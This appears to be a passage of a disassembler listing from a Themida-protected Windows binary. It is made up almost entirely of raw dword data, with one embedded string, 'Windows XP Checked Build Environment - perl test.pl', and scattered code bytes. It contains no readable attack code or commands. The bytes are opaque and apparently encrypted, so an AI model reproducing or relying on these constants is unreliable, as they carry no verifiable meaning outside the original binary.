		dd 8BA90BB6h, 0D5D62FF2h, 722DECA4h, 0F5BB7E1Dh, 574EE073h
		dd 0EE4EF79h, 946538A3h, 3B83A394h, 362920F6h, 0F9D62FF1h
		dd 90837AF2h, 0B3B52FF2h, 1A87ECAFh, 12690B9Eh,	8EB20BB6h
		dd 0D65B2FF2h, 1F28ECA7h, 9D76E155h, 0B83D3D0Fh, 9224B279h
		dd 2E592821h, 94BE0C53h, 823220F2h, 1A5B2FF2h, 4082C667h
		dd 90B4C6F5h, 1EE02FF2h, 946628DBh, 93FD2F4Ch, 0C46D45F0h
		dd 93B62C1Ah, 50040FF2h, 0B7D1A6ADh, 0B792AEF6h, 936B37F6h
		dd 50E268F2h, 0B5C3A261h, 49EC4FC1h, 9211DBE3h,	935B291Bh
		dd 10E1DDF2h, 0F247B1F6h, 0D8DA9094h, 8E63AA7Fh, 93B0282Eh
		dd 936EC7A1h, 0C8962FF2h, 0CFD27431h, 0D72C2BD6h, 93C32BD6h
		dd 0C0282FF2h, 6CEE0F31h, 97502022h, 0F56D2FF2h, 16B5FC49h
		dd 5DDF2032h, 18AD2FF2h, 40CC366Fh, 1AA5AFF5h, 0F5E21773h
		dd 16D5D473h, 936D2FDDh, 7A0BA40Bh, 0F55CFCD9h,	91A95773h
		dd 625220F0h, 0F96B2FF0h, 905D7EF2h, 0B3DA2FF2h, 1A34ECABh
		dd 12B20BBEh, 875F0BB6h, 0D2AD2FF2h, 0F572ECA3h, 0F3F71773h
		dd 93CAAAFDh, 0EB5A2FF2h, 1662C7F0h, 93B62F87h,	7B082F98h
		dd 93AD2FF1h, 0C81574D2h, 974F737Bh, 97916B73h,	93DA2FEBh
		dd 6FAE7CB1h, 0DDA30352h, 934FC705h, 34F22FF2h,	89BF7799h
		dd 0C3AD6D65h, 52FB187Bh, 0D05029C0h, 4DE67460h, 0EB3749A9h
		dd 9CF02FF4h, 93AD0377h, 0C6D645F2h, 936B2C1Ah,	50E80FF2h
		dd 0B7B6A6AFh, 0B729AEF6h, 93B636F6h, 500E6AF2h, 0BDA88D61h
		dd 0C23F6B69h, 1A6B2FF0h, 40B88E7Fh, 92DA91F5h,	9D8469F3h
		dd 79B62FF2h, 929A0005h, 5E16EE9Bh, 0A284C18h, 45EEA211h
		dd 9CB2F3EFh, 651FE45h,	94BE373Fh, 63DFF0Dh, 94880BABh
		dd 0CA30A692h, 1AD1FCE5h, 40787A6Fh, 53304EF5h,	920CABFDh
		dd 99852FF2h, 0AB62FF2h, 0F76A7EBAh, 0C88EEBB1h, 0C91BAFA0h
		dd 0F553AEA9h, 9CB72DCFh, 93DA0D77h, 12A6A4F2h,	0AED0298Ah
		dd 175455ADh, 93AD2E2Ah, 7A0590FDh, 936B2FF9h, 0DB4360B0h
		dd 250D5076h, 0F5D921CBh, 0F32A1773h, 93C6AAFDh, 0E242FF2h
		dd 9405309Fh, 7B695772h, 9338AAFDh, 93B02FF2h, 936EC7A5h
		dd 0CC962FF2h, 0EFD27031h, 0D72C2BD6h, 93C02BD6h, 0C42C2FF2h
		dd 0C9EFD231h, 0A253B27Bh, 120B2821h, 53B6298Ah, 9306AAFDh
		dd 93C72FF2h, 93D5C7A1h, 0C84B2FF2h, 0CF3C7431h, 0D75B2BD6h
		dd 93762BD6h, 0C0F52FF2h, 9EA93731h, 65E77F83h,	0C80DAEEFh
		dd 7A70B9D6h, 93B52EBEh, 7B882F98h, 936D2FF1h, 0C97575D2h
		dd 977F7B7Bh, 97896B73h, 93D62FEFh, 47A87DB0h, 98F313D7h
		dd 865B3CC6h, 0FEF0A4B3h, 0C3B1FCD8h, 2D00BB47h, 0EDAC2EF2h
		dd 0BD139AC3h, 1EE02821h, 94662C47h, 8E0CAA7Fh,	1EE4282Eh
		dd 94652DD3h, 6C9090FDh, 93BDC622h, 75642FF2h, 36A46661h
		dd 7634AC85h, 3CA08BA3h, 53E82709h, 9318ABFDh, 183B2FF2h
		dd 40A5224Fh, 0F227A4F5h, 9C831772h, 93B51777h,	0B25FA6F2h
		dd 136AFCF4h, 9CC52A8Ah, 935B0777h, 93BEC6F2h, 53322FF2h
		dd 3125A942h, 1366F840h, 0DBA0F05Ch, 45B6078Ah,	94CEAFE3h
		dd 0ADF20A1h, 18AD2FF2h, 40F31E6Fh, 0ABEA49F5h,	16BA2A7Dh
		dd 93DA2FAAh, 7B3D2F98h, 93B62FF1h, 0CB9877D2h,	97896B7Bh
		dd 97F26B73h, 936B2FE6h, 0DC767FB2h, 0FBDC5772h, 935FAAFDh
		dd 0F5D62FF2h, 4DD3E973h, 0A0D29A92h, 40FF4647h, 0F50A4EF5h
		dd 6CBE5773h, 865F20D7h, 0BA6D2FF2h, 40A8EE4Fh,	9361C6F5h
		dd 96442FF2h, 0DBD62FF2h, 0AD9DA26Ch, 93B52F4Ah, 26EB7DF2h
		dd 94BE306Bh, 520B24ABh, 7A5CFCFAh, 93AD2F96h, 93D63C1Bh
		dd 0A00310F2h, 5AC6C653h, 0C31FA54Ah, 2B58B58Ch, 6296D614h
		dd 935B2E4Ah, 0C4AD45F2h, 93D62C1Ah, 50340FF2h,	0B7C9A6ADh
		dd 0B79EAEF6h, 936D37F6h, 50E168F2h, 50360E83h,	93B9C7BEh
		dd 3D912FF2h, 0BC3D5106h, 0C7107584h, 0F40A743Bh, 0D3784998h
		dd 2AE4C31Bh, 97946F03h, 0E2470ABh, 94050F77h, 0F5397FA2h
		dd 9C1C4A48h, 7A887FC3h, 936D2FFDh, 0B180B0FBh,	0F9691209h
		dd 0B4C97AF1h, 9CCD909Bh, 0C987A5C3h, 1AED75AAh, 0F66B0BF6h
		dd 0D1FBC873h, 2E3B0ADFh, 9486F877h, 4F0CA27Fh,	0B06E282Fh
		dd 901C49A7h, 409E9677h, 521504F5h, 0F22D2D1Bh,	0C3EDAC2Eh
		dd 21BD139Ah, 471EE028h, 7F94662Ch, 2E8E0CAAh, 0E983E428h
		dd 58A4F305h, 16A59D09h, 0BF0F07D3h, 0FC00BD2h,	8084h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 8756B42h, 0B2211CA2h, 0A4F180D4h, 4DB1B58Dh
		dd 0D68007D3h, 3B847h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B6B379C3h, 6AE6FFF5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2FBEC351h, 0F281668Eh, 0BB66068Ah, 0BF0F8913h
		dd 0FE940FAh, 4C000000h, 5B34D34Bh, 0D46661Dh, 0D4B99D7Dh
		dd 0C08BE77Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0D8C35545h, 0A590FA3Eh,	0F3816612h, 0BD830170h
		dd 7D313B1h, 83097500h,	0D3273DBDh, 19740007h, 0C08B5350h
		dd 403B8h, 0C9858900h, 8D07D309h, 0DB28709Dh, 5BD3FF07h
		dd 3DBD8358h, 7D327h, 53501774h, 403B8h, 0C9858900h, 8D07D309h
		dd 0DB25119Dh, 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 4A50710Dh
		dd 0FE9F6h, 26CB0000h, 0A3F827CDh, 0D7B4BE1Dh, 32158895h
		dd 8BFA8BF2h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 14671AD9h, 0EE9A8h, 0D05B0000h, 15666A67h
		dd 0E6ECE940h, 0BEB0A8A5h, 27E961h, 693C0000h, 407Bh, 8	dup(0)
		dd 6D1E900h, 0EBA30000h, 44089617h, 1DCBDBBAh, 3DEAB8D9h
		dd 17D0DEBFh, 1B25BCDDh, 8524D097h, 0D8C7435h, 7130C87Dh
		dd 14956521h, 0B819C47Bh, 905B87ABh, 5218E6D9h,	31903D4Ah
		dd 195C5A75h, 75B81980h, 0F9905C5Ah, 5211A1A8h,	4A13E7A3h
		dd 6207C1ABh, 2E65DAB2h, 0DA901E7Fh, 0D6493320h, 23DAD143h
		dd 32CC802Eh, 0DCC98A2Bh, 0CB92681Eh, 761F812Bh, 5C5A48D7h
		dd 56FFAE7Fh, 0DEC8D3AEh, 64D3D228h, 66E917D2h,	0C6E711D8h
		dd 9D8E31F8h, 2212CEBh,	0F9FACFDh, 0A9BC9F5Bh, 7A426009h
		dd 0ACF6E0DBh, 5CFDA4DEh, 0C15C5AB1h, 20F9F404h, 6C39C891h
		dd 1BCA5CAFh, 0E3D228DEh, 0F107BE80h, 0D724E2B0h, 8191AF14h
		dd 70D8943Ch, 30E97041h, 8DC595DDh, 1F7FF6B1h, 8470ED31h
		dd 98FD96FEh, 26FF6063h, 0C6E38A18h, 936122D4h,	0C9282BCAh
		dd 0AAA873CEh, 0C98E80CFh, 802Dh, 5218AC00h, 0AFFEFEA9h
		dd 47E6AFA0h, 0F5C5A75h, 75D47520h, 0AD7C5C5Ah,	934A5BFCh
		dd 8DC415B0h, 4BAD5C0Ah, 35F07302h, 77F3669h, 34331988h
		dd 0A6F5B91Fh, 67D2C0DBh, 0C5E68239h, 1, 0AA541854h, 0A55913A3h
		dd 748BCEB6h, 2C1AD43Eh, 0CF7C3A2Bh, 0CF96242Dh, 0D6922029h
		dd 126D2128h, 0C7941C09h, 0C98A7637h, 854723F8h, 7FE2CA79h
		dd 0C436F4E3h, 3994DC9Dh, 9B5215FCh, 0FA9B5F0Bh, 0A54F18C9h
		dd 0B44AFEBCh, 8596E9ADh, 9312E2A1h, 0A4B34703h, 0C5A65412h
		dd 4503B3A0h, 4609A8B1h, 5F06F0B8h, 4B12EE9Fh, 54FD01ABh
		dd 9FC9F82h, 0C0A11DCh,	4345763Dh, 0AB9Bh, 4F181600h, 46FEBCA5h
		dd 5A09A9B0h, 4803B39Ah, 5B26ADB4h, 205B6540h, 761F307Bh
		dd 5C5A75D7h, 11ADAE7Fh, 0AF896952h, 0EE43638h,	0F7B0FE9Fh
		dd 8B57F69Fh, 0F5FF5C5Ah, 4232289Fh, 8DF7C623h,	0CEA0BD01h
		dd 0CE9726E7h, 0D2817B30h, 0D4976924h, 829964D1h, 447DB594h
		dd 921343h, 94220000h, 0A06AE8D3h, 8A19B699h, 18A3381Bh
		dd 3F9E474Fh, 175C5A75h, 1D7EFE86h, 3657D291h, 6920DE87h
		dd 2FFC68Fh, 6B20CE19h,	94642191h, 787C2BD3h, 10422A19h
		dd 9C7C9F6Eh, 778F8F37h, 0DB090E0Dh, 92DACB2Fh,	5A12916h
		dd 0F16AEDA0h, 0A3AA5418h, 0B54302B4h, 0B5B63E05h, 2C1948F0h
		dd 0C68F8017h, 0E8D3E167h, 683D1EEFh, 0D65F9F7Fh, 0A060099Dh
		dd 0FAAAF8B9h, 2FD65BFCh, 5C5A76B8h, 0E416D462h, 24FDEE83h
		dd 76F87F77h, 1564345h,	0E5000000h, 0B9A65018h,	99BA4205h
		dd 0C238EE8Ch, 0D525E195h, 0B75EED8Ch, 5C5A7516h, 0F9EC6F3Eh
		dd 0A16C5B48h, 5C5A7500h, 82417148h, 0B10F172h,	1154691Fh
		dd 0D228DE70h, 0C05F78AAh, 877562F1h, 589DAB6Eh, 58F9A00Bh
		dd 0F05C5A69h, 1EDE8919h, 8E58637h, 1A299A74h, 6024FE73h
		dd 0AB5A0C55h, 4E5F954Eh, 948C580Dh, 0D7BEF5D0h, 0AB9A8336h
		dd 0C3EAFAF5h, 778CEE57h, 4AE4BB3Bh, 36878EA3h,	2DC1DE87h
		dd 9E94497Ah, 0ADAC4113h, 16A455FCh, 14A5AC52h,	0FBFFAB53h
		dd 9D5E0C9Ah, 0B2A110E8h, 0B17036CAh, 71F2B61Eh, 0A93FAD74h
		dd 0BA2B9B35h, 0F2081277h, 457E29BDh, 35A69B13h, 0ABACFD71h
		dd 0EA9336FAh, 7238C66Ch, 2F30C188h, 0F0CE99Ch,	0A8B6F1Bh
		dd 252CCE7Ch, 2029D195h, 0F303F16Eh, 48240235h,	37963F0Ch
		dd 1F6CF527h, 27F4CD8Eh, 32738743h, 47B77105h, 2EFC5F1Eh
		dd 1296264Bh, 1BCA9h, 4FFAAC00h, 4609A8B1h, 0AF1412D5h
		dd 0DF0EF5A0h, 330A7098h, 15AEFBDEh, 77695690h,	0FA0D52E7h
		dd 497EF253h, 1130EDFBh, 137B3BEFh, 8D2447D6h, 0E1A555FCh
		dd 7C2A7819h, 6327D77Eh, 7930CE97h, 6228D67Fh, 3F1AB198h
		dd 4A15695Ch, 0A5681651h, 8046F85Bh, 771B7Ah, 5E9C3217h
		dd 5Fh,	0AE1512DDh, 0DF3FF4A1h,	9F1BEE5Dh, 867FD3EBh, 0B6DF131Fh
		dd 5215A9BFh, 0CF22A9AAh, 1A4E173Eh, 8F7007Dh, 0F951601Ah
		dd 14D76754h, 0B7BE67E8h, 0B94E81F4h, 6858431Eh, 5E07546Fh
		dd 0C4C44016h, 856E16F4h, 0E88B1AF4h, 0BB1E711Dh, 0A35D109Eh
		dd 395831C0h, 4EB05C0Ah, 0FF220Dh, 12B10000h, 0F5A0AF14h
		dd 65FED96Dh, 57BD06E9h, 0FAA3B49Eh, 9E5ECD5Bh,	0B8391AF3h
		dd 0C438F383h, 16CEDC9Dh, 97B879E0h, 768C01CEh,	0F3CA27A4h
		dd 0DC1ECC6Ah, 0F20DBF6Fh, 71F2C331h, 0C238EEBCh, 8251C29Bh
		dd 17D1932Dh, 0A5139CECh, 55B3B6D7h, 193A458Eh,	7AFFED72h
		dd 0A72A79D6h, 2C998DE5h, 0B9A3842h, 0BB6E9D48h, 7F3DAA3Dh
		dd 892930CCh, 64361FDFh, 422B1EFDh, 0C4826437h,	45217736h
		dd 0F704D17Eh, 0B3F48FD6h, 1111283Bh, 23FF683Dh, 891D302Fh
		dd 8C3F20E0h, 7432C4D3h, 27BE1F86h, 7964FB1h, 6407F3B7h
		dd 9637DECDh, 0BE4FB127h, 0E797BEEFh, 0FF8ED723h, 55AA5E10h
		dd 3FFE678Fh, 714ED6Eh,	0C683411Dh, 30817533h, 2A198829h
		dd 27D1701Dh, 3EE74FB1h, 4FB1279Fh, 320BE6B7h, 0E6672E31h
		dd 62DE68A4h, 0C438776Dh, 0A00D9908h, 0D9145443h, 0E5F26140h
		dd 4C5E9938h, 77D8B1A4h, 0B01412E4h, 9FACFDF7h,	0B349FEB0h
		dd 37EDF5B0h, 0F06917A8h, 0B8C4F128h, 7854DCC9h, 0B28B66A4h
		dd 3D5F0BABh, 7B953190h, 7B221954h, 547B95DAh, 620A9B72h
		dd 0FA03D3F4h, 2283327Ah, 65EBD694h, 0C38388B4h, 599D4B5Bh
		dd 0E97041F0h, 0EE178830h, 9F4F40F6h, 0B6470EEAh, 0D66B4EEFh
		dd 0E61AD339h, 8074330Bh, 0C68918D9h, 0D687151Fh, 448A1B1Fh
		dd 615F3F8Ch, 21051661h, 86149565h, 9031DCC0h, 0B85EC613h
		dd 0E989D0E1h, 0F697BE3Eh, 2837702Bh, 0C613DC7Dh, 7383415Eh
		dd 0FF8E4BEAh, 16E4A25Ch, 0B7430797h, 7AC3B1AEh, 84637999h
		dd 0E87DDC89h, 44D55EC6h, 3FDF275h, 46000000h, 561804D7h
		dd 5115A5ACh, 5312A0A9h, 4BFEBCA5h, 550EACB5h, 3F08B69Fh
		dd 590EACB5h, 4CFCBAA3h, 5913A3AAh, 5223BCA5h, 0C281E289h
		dd 4, 4B850h, 0C2290000h, 24148758h, 4720685Ch,	2C890000h
		dd 76286824h, 34890000h, 55BB5324h, 0BD5DCE3Dh,	9F8052FFh
		dd 815BDD29h, 0B44C6FC5h, 0C1D5F715h, 814D05E5h, 55DE4AEDh
		dd 348B540Bh, 4C48324h,	4EC81h,	1C890000h, 8BB24h, 0F3010000h
		dd 8B5B2B89h, 89522434h, 4C281E2h, 83000000h, 148704C2h
		dd 2C8B5C24h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0F59988E9h, 0B89EBAFFh, 7DDE4B6h, 0E0FFC503h, 461EF2Ah
		dd 2D3A790Eh, 7D5344E7h, 47DC37B9h, 753A1ADEh, 2F5C382Bh
		dd 460902D8h, 5F6A19D8h, 0EF7FE3Fh, 7D18B422h, 5BBC356Ah
		dd 0E6368D8Dh, 6A07DDh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 18BB76C3h, 29418D89h, 0DF8B07D3h
		dd 2BA185C7h, 67A007D3h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 14E89DC3h, 0A6000000h
		dd 0F3BC1Fh, 77B368BFh,	62AA03B1h, 174EF5CEh, 60EB6209h
		dd 5A615E52h, 331185C7h, 7D3h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 8C0A0EC3h
		dd 0A13DB8A2h, 0FFDA8B53h, 0D31A1DB5h, 0D3B70F07h, 2D3D95FFh
		dd 0BB6607D3h, 1CB2C9C7h, 95FF006Ah, 7D33019h, 0CEBC08Bh
		dd 61F6A694h, 0D337F4EDh, 0EB6F3260h, 2E659D8Dh, 0CEB807D3h
		dd 89000000h, 0D308A985h, 0E807h, 5580000h, 0Dh, 0CEE90389h
		dd 0
		dd 32h dup(76F200h), 0FF76F200h, 0AE8FFh, 84510000h, 2D11E7F6h
		dd 0A5FB6A5Ah, 28E0F5Bh, 0B5000000h, 3AC381E0h,	0BE000074h
		dd 76999ACh, 7CC4EE81h,	8B660769h, 0F33FFCFh, 887h, 8B666000h
		dd 0CABF0FF8h, 0D2815861h, 17702EA2h, 0C570C081h, 0C781177Ch
		dd 147A4B70h, 0AA23E881h, 800F3E08h, 0Ch, 6830Fh, 0F2810000h
		dd 6701407Ah, 0A567E881h, 89F81B42h, 69C78103h,	83101F02h
		dd 840F04EBh, 3, 83F8B70Fh, 850F01EEh, 0FFFFFFA1h, 13E9h
		dd 1870E300h, 0E3F5151Dh, 0B44B2F21h, 518137E2h, 810B1948h
		dd 78E9h, 863C7F00h, 6E695710h,	73776F64h, 20505820h, 63656843h
		dd 2064656Bh, 6C697542h, 6E452064h, 6F726976h, 6E656D6Eh
		dd 202D2074h, 6C726570h, 73657420h, 6C702E74h, 10h dup(0)
		dd 150CE900h, 85680000h, 0E907DDEAh, 0FFFBD64Eh, 0DDEC0068h
		dd 0D644E907h, 0D268FFFBh, 0E907DDEEh, 0FFFBD63Ah, 0DDEF1B68h
		dd 0D630E907h, 1568FFFBh, 0E907DDF0h, 0FFFBD626h, 0DDF0BA68h
		dd 0D61CE907h, 0A068FFFBh, 0E907DDF6h, 0FFFBD612h, 0DDFA7268h
		dd 0D608E907h, 0C968FFFBh, 0E907DDFBh, 0FFFBD5FEh, 0B20A9E4Ah
		dd 4FAD35EDh, 0B10B9D4Ah, 52AA3AECh, 0B00C964Dh, 0B96ADC11h
		dd 15D8BD2Fh, 0B9703587h, 10D4B933h, 0F6BE2884h, 0B86BBFC7h
		dd 68363336h, 1A9F2B01h, 0F1CB578Dh, 31438F3Bh,	86FBBF82h
		dd 0FB2E7309h, 0C5B4475h, 7B4249DBh, 0BD4A71ACh, 45A8FFAEh
		dd 0A7373D47h, 0A3EECFFAh, 0A0E4FD42h, 0ABB5053Ch, 75B73EC6h
		dd 951FC467h, 0BC3ABBE4h, 0BB02895Bh, 50409468h, 5A24AEFh
		dd 0B5FA7DCDh, 6FBFE45Eh, 97C9B100h, 543D7A35h,	6B4A7AFFh
		dd 7A359703h, 0D2F9AA77h, 4BB9h, 5A100500h, 0E0CDEC98h
		dd 9DFA9787h, 0D86C6E02h, 924E67F6h, 7DE18EB8h,	0B4C55798h
		dd 0A811B8EBh, 7B2068DFh, 0E068BADFh, 0F365E2DBh, 81215783h
		dd 0F504666Ah, 0F3980A59h, 8688F4CAh, 74544550h, 0A56B5F73h
		dd 32994E88h, 0A5000001h, 6F17A61Eh, 0E33E9653h, 0D2129536h
		dd 0BF644346h, 531F6756h, 86933E96h, 35F7ACDDh,	618320A9h
		dd 3C48D7D5h, 3B9F7EABh, 0FF94D4F0h, 4BC39B0h, 807101DDh
		dd 0C23EDDFBh, 0FCFAC8A9h, 0CA1DA547h, 8C916B38h, 8E1ED058h
		dd 48FEB4C5h, 0F4BBFA8Ah, 0A5E6585Ch, 18A76665h, 6297E46h
		dd 0D0764774h, 9E72D296h, 0DD27A540h, 0DD57DC60h, 198E3686h
		dd 604346D4h, 23EF5B5Bh, 421B2291h, 53D0FEB9h, 3B9C0F33h
		dd 5A59C866h, 9294214h,	0C3C89B88h, 86358D15h, 9294200h
		dd 9924A774h, 0DE9A5DAh, 0BDFCC816h, 468DFB5h, 0F3376029h
		dd 348C386Bh, 79A618BDh, 22A90522h, 0A0D45E85h,	80D19918h
		dd 5C450468h, 0DDE5CD2Fh, 688098DEh, 68510C04h,	6C84F1A2h
		dd 2C7B0053h, 77056DF7h, 0C21F741Fh, 1230DDBFh,	0AC7C0000h
		dd 2BFFA418h, 0A34449A3h, 38F69B11h, 9C4F54A8h,	0D21B9A12h
		dd 0C725AF74h, 179523C2h, 0D329AF72h, 1A921ECEh, 0ADD5E4D0h
		dd 2136B869h, 0D71E7648h, 13A6BC41h, 2C7B005Ah,	90576DF7h
		dd 0F290CEC9h, 0C43843EBh, 2B810DDFh, 17A61E7Dh, 3E96536Fh
		dd 125857E3h, 863E9653h, 0F1C5C69Dh, 0B8F78D45h, 2290CF00h
		dd 0CEE9D797h, 0BFA87B8Eh, 1336C32Ch, 0CADDCC5h, 935FB9EFh
		dd 8D9D8110h, 0E2FAA102h, 54426D31h, 32A007C1h,	0FFEC0422h
		dd 12950h, 2B016E00h, 0EAD159Fh, 3E965368h, 5A348DD3h
		dd 19956010h, 297E4B70h, 6F517802h, 606BFD2Ah, 94B8CD5Dh
		dd 0ACF99032h, 0AD1554DFh, 4F74680Eh, 0F433DC40h, 44B43162h
		dd 5D74DF85h, 31C810BBh, 5698ED6Bh, 0AA32F29Bh,	0D8CBEE7Ah
		dd 0B86C318Bh, 0E003982Ch, 4B703356h, 5082387Eh, 0E8DE9524h
		dd 0B82F87CAh, 10F1151Ch, 79FFE0D9h, 8B30D8B9h,	0F849AE4Dh
		dd 6A81E690h, 33F4E93Bh, 2E8718A1h, 8ED94C6Ch, 0D2A9D25Eh
		dd 0A58D5F2Ch, 1BA02C00h, 0B5042F9Bh, 684971CDh, 51AD3BEAh
		dd 4A691B48h, 8FA7B38Fh, 64EA62ECh, 0C7DCE495h,	0B2ED9C22h
		dd 717273FBh, 913AE7ECh, 46BE53EAh, 0CDD257BEh,	0D7018A18h
		dd 0B7EC9881h, 0AF41EE74h, 7B2008E4h, 336C1DA9h, 8435BF64h
		dd 0F437701Bh, 0A74E086Ah, 10B79828h, 10B588h, 9B2F0100h
		dd 1EA67C21h, 9426C9CEh, 23B37318h, 951FC4C9h, 0F3539817h
		dd 5156A630h, 0F99E0E9Ch, 4D52AA30h, 47B10B97h,	67363C7Bh
		dd 0B1AA36B8h, 0A42A01DDh, 50ACF77Dh, 65F13368h, 0F9B5156h
		dd 2B010F9Dh, 578D1A9Fh, 3DE4B9CBh, 89DA6CBBh, 53B6BCFBh
		dd 612A3E96h, 5E0CA25Ah, 0ACD1E094h, 0D9AC160Dh, 0E20904D7h
		dd 59100299h, 0CB2214DEh, 1F7F113Eh, 5C85D262h,	0D523B5D6h
		dd 8FCBDCCh, 17423EE8h,	109AA44h, 76E251E8h, 43AA9281h
		dd 0C1D88443h, 0B6C5C64Ch, 1AFEE9E3h, 0C9DAB0D3h, 566596E6h
		dd 416A3428h, 0E5069BA2h, 0F5B305Bh, 63000000h,	0BD0F6h
		dd 14D9CE00h, 7F0BE186h
dword_678368	dd 5A10C2FCh, 99BE469Ch, 0E68EC555h, 85EFBC0Fh,	0DF34BEF3h
					; DATA XREF: Themida_:005FE886o
		dd 979C66E3h, 83414A19h, 1D47E634h, 0B04AE9E2h,	7E06BD13h
		dd 52770329h, 0C9932A51h, 47F2B6DFh, 85069252h,	6D1C0553h
		dd 926AF636h, 0BECB578Dh, 0BF4BA106h, 0DBE2E9BAh, 5F827368h
		dd 6ED67FF1h, 0F33407C8h, 0F798150Ch, 7C0D9B4Ah, 52770727h
		dd 0B0687F65h, 0CCFB7901h, 6F24ED53h, 0F803A448h, 0E97BAC34h
		dd 0B4DF71BEh, 71F9B800h, 0E553CCFBh, 0C325748Eh, 0F3A01DB5h
		dd 0C4F57FA4h, 474CB0DBh, 497019A5h, 9FFFABB6h,	125D88BFh
		dd 16A53484h, 18BB6732h, 0CB4D5AD2h, 0F17FAEF3h, 0E0A6D7C8h
		dd 545ADC27h, 6B0E984Bh, 47606B38h, 0FEA319A5h,	0A617A22Eh
		dd 0C7FC95F7h, 20335CFCh, 0C69C815Ah, 34829B57h, 0A8D15D8Fh
		dd 5BF028FBh, 0C80DE27Ch, 0C8B0D98Ah, 1F589F08h, 0E6DE3AADh
		dd 0D9E06AC1h, 25CFB7C6h, 56438013h, 26B27235h,	0E11BD1D6h
		dd 3686A485h, 95DDDC20h, 980125Dh, 74005300h, 4A6FFF2Fh
		dd 1F973259h, 5E5D67ABh, 53B01A8Dh, 663D4FD6h, 73B85FFAh
		dd 3FDC5C02h, 0B1BC30D9h, 0EE1C6E9h, 9821AB80h,	872F5C07h
		dd 26951FD3h, 0FD5E4034h, 0CABDDBFh, 1B36053Ah,	0F9C2E6D8h
		dd 0BCF19E6Bh, 0FE88B93Eh, 9B9B8168h, 0E28593ACh, 2BE7F720h
		dd 0EBDE6C7h, 0FBB252AFh, 0FC3176DEh, 33584B6Eh, 517616A5h
		dd 28B8A319h, 6FADDEC1h, 1BD42D0Fh, 0AF1D9850h,	3F10C81Bh
		dd 0C1A192Bh, 0D4823457h, 0DE11961Eh, 3D853F4Ch, 77503685h
		dd 6ABB6B84h, 0CFBA3315h, 27543DB1h, 0BA620896h, 6CB40B54h
		dd 0B786F9CAh, 63B18F8Fh, 53935449h, 2C8635E1h,	0D1FAA961h
		dd 0E1E8B107h, 17AD65D1h, 0EB0ACE98h, 1F310981h, 9B82E7C7h
		dd 19E17A65h, 2A5A47B5h, 675AF75h, 0DB0D1FCDh, 65BCA06Ah
		dd 379BBE80h, 5160586Ch, 9E8E0A29h, 35C7F49Dh, 3230BC70h
		dd 85515806h, 0E3ECACD3h, 2F00000Dh, 8A8F6D01h,	37DCD058h
		dd 919666F8h, 2AEFCD5Dh, 0BE7D6FF9h, 48D2192Dh,	0F07EAF74h
		dd 4CD217FCh, 0ED79AB70h, 0DEDD650Fh, 36B86598h, 1E3FCF0Ch
		dd 536F17A6h, 36E33E96h, 46D21295h, 591176ECh, 9008BF25h
		dd 0D9Ah, 46B64AE6h, 0AB018961h, 45B749E6h, 0AEFE8E60h
		dd 44B842E9h, 0DDE6885h, 0C1642983h, 0DD4B933h,	0BC703587h
		dd 8232BC30h, 0B8644B33h, 0CA2BF36h, 159F2B01h,	0ABCE5E90h
		dd 80D3FDF8h, 3CE7F764h, 158A3A8Fh, 604346CCh, 0D974C5Bh
		dd 0B9ECC4AFh, 9ECCB201h, 74403E95h, 959E3D45h,	0BBE8B13Eh
		dd 230A610h, 25624372h,	0CE47C068h, 243B1890h, 18B4F891h
		dd 0F3A04E46h, 0C25A099Ch, 319B0892h, 0E9918AA8h, 2FABCA3Ah
		dd 0D1E0D878h, 0F8841EA9h, 3447741Dh, 4ADC0B90h, 11C17541h
		dd 60B95463h, 23D6480Ch, 2E13ACFBh, 0B1042E8Fh,	5156EE5Bh
		dd 3C6B0E9Ch, 80345FE5h, 0E4734931h, 0A7D4BD20h, 773F4A57h
		dd 56650FC3h, 737E3D0Fh, 0D09B0D84h, 0CB3DE0F6h, 0D92384EFh
		dd 0E59420C4h, 0DA6A11BAh, 0EB9022C5h, 297E0613h, 0A0857703h
		dd 262C04Ch, 2F33C8C4h,	0CA00098h, 3CEC0000h, 9B4F54A8h
		dd 33F49913h, 0A8464BA1h, 2CFFA418h, 826B4AA2h,	17951FC4h
		dd 0C725B372h, 23991FC2h, 0CA22AE7Eh, 5D259420h, 0D136B863h
		dd 2B010698h, 548D1A9Fh, 0B04FDECEh, 0D176FFFCh, 110224B3h
		dd 5C3F4EEDh, 0B15F28EBh, 0F8B7CD05h, 0F3738215h, 0A04D5802h
		dd 0C12814DAh, 0A345C944h, 9A30E445h, 0E6A86333h, 0AC3CEABDh
		dd 0C1379E1Fh, 146AD568h, 4287D07h, 4D9F8478h, 0B008B8C1h
		dd 2EC30D39h, 7C31C7F4h, 15A141F6h, 33F6A16Ah, 0F8831CADh
		dd 0C7F27CAFh, 9F8309E0h, 0DAC004Fh, 0FB396366h, 4700000Bh
		dd 0F29715A9h, 4F54A830h, 0F99E0EA0h, 4247A535h, 26A517A1h
		dd 20AA81C5h, 9826C7CCh, 24AA7F24h, 9521C3C8h, 0D6E5CD17h
		dd 36B863B0h, 1E774724h, 0B3D66489h, 8DF5C4F0h,	13E9653h
		dd 0F0347318h, 9E4E5564h, 0E93D6212h, 53333B7Ah, 0FAA73E96h
		dd 0A722A9h, 0B7EC9D2Fh, 0C5DEEB73h, 0C2C75192h, 71D8CFF5h
		dd 7AADF99Ch, 70FAA9DBh, 0C62DEBFCh, 4691C792h,	8911D9D4h
		dd 0C7F49F00h, 2C800CE0h, 16740E3Eh, 237E7523h,	0ADE7F26Bh
		dd 0AFE49846h, 0DFB4EE71h, 733AFDCh, 0AD150000h, 9627680Eh
		dd 8C2FDC3Eh, 985A1032h, 6760CDECh, 621DD3E3h, 0BC0E7271h
		dd 87B291E9h, 8A97E551h, 0F37FA5FAh, 79B523F9h,	0BBD26950h
